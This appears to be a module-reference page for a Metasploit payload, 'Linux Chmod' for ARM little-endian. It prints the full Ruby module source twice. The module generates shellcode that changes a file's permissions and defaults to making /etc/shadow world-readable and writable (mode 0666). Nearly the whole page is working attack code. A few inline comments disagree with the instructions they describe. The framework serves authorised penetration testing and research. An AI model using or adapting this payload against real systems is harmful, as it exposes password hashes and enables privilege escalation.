Description
Runs chmod on the specified file with specified mode. Module Options msf use payload/linux/armle/chmod msf payloadchmod show actions ...actions... msf payloadchmod set ACTION msf payloadchmod show options ...show and set options... msf payloadchmod run...
Basic Information
ID
MSF:PAYLOAD-LINUX-ARMLE-CHMOD-
Published
Jan 14, 2026 at 18:54
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 40
include Msf::Payload::Single
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Chmod',
'Description' => 'Runs chmod on the specified file with specified mode.',
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'References' => [
['URL', 'https://man7.org/linux/man-pages/man2/chmod.2.html'],
['URL', 'https://github.com/bcoles/shellcode/blob/main/armle/chmod/chmod.s'],
]
)
)
register_options([
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
])
end
# @return [String] the full path of the file to be modified
def chmod_file_path
datastore['FILE'] || ''
end
# @return [Integer] the desired mode for the file
def mode
(datastore['MODE'] || '0666').oct
rescue StandardError => e
raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"
end
# @return [Integer] ARM LE instruction to load mode into r2 register
# For example: 0xe30011b6 ; mov r1, #0666 ; loads 0x1b6 (0o666) into r2
def chmod_instruction(mode)
0xe3000000 | ((mode & 0xF000) << 4) | (1 << 12) | (mode & 0x0FFF)
end
def generate(_opts = {})
raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)" if mode > 0xFFF
shellcode = [
0xe28f0014, # add r0, pc, #20 # pointer to path
chmod_instruction(mode), # movw r2, <mode>
0xe3a0700f, # mov r7, #15 # __NR_fchmodat
0xef000000, # svc 0x00000000 # syscall
0xe3a00000, # mov r0, #0 # exit code = 0
0xe3a07001, # mov r7, #1 # __NR_exit
0xef000000 # svc 0x00000000 # syscall
].pack('V*')
shellcode += chmod_file_path + "\x00"
# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0
super.to_s + shellcode
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 40
include Msf::Payload::Single
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Chmod',
'Description' => 'Runs chmod on the specified file with specified mode.',
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'References' => [
['URL', 'https://man7.org/linux/man-pages/man2/chmod.2.html'],
['URL', 'https://github.com/bcoles/shellcode/blob/main/armle/chmod/chmod.s'],
]
)
)
register_options([
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
])
end
# @return [String] the full path of the file to be modified
def chmod_file_path
datastore['FILE'] || ''
end
# @return [Integer] the desired mode for the file
def mode
(datastore['MODE'] || '0666').oct
rescue StandardError => e
raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"
end
# @return [Integer] ARM LE instruction to load mode into r2 register
# For example: 0xe30011b6 ; mov r1, #0666 ; loads 0x1b6 (0o666) into r2
def chmod_instruction(mode)
0xe3000000 | ((mode & 0xF000) << 4) | (1 << 12) | (mode & 0x0FFF)
end
def generate(_opts = {})
raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)" if mode > 0xFFF
shellcode = [
0xe28f0014, # add r0, pc, #20 # pointer to path
chmod_instruction(mode), # movw r2, <mode>
0xe3a0700f, # mov r7, #15 # __NR_fchmodat
0xef000000, # svc 0x00000000 # syscall
0xe3a00000, # mov r0, #0 # exit code = 0
0xe3a07001, # mov r7, #1 # __NR_exit
0xef000000 # svc 0x00000000 # syscall
].pack('V*')
shellcode += chmod_file_path + "\x00"
# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0
super.to_s + shellcode
end
end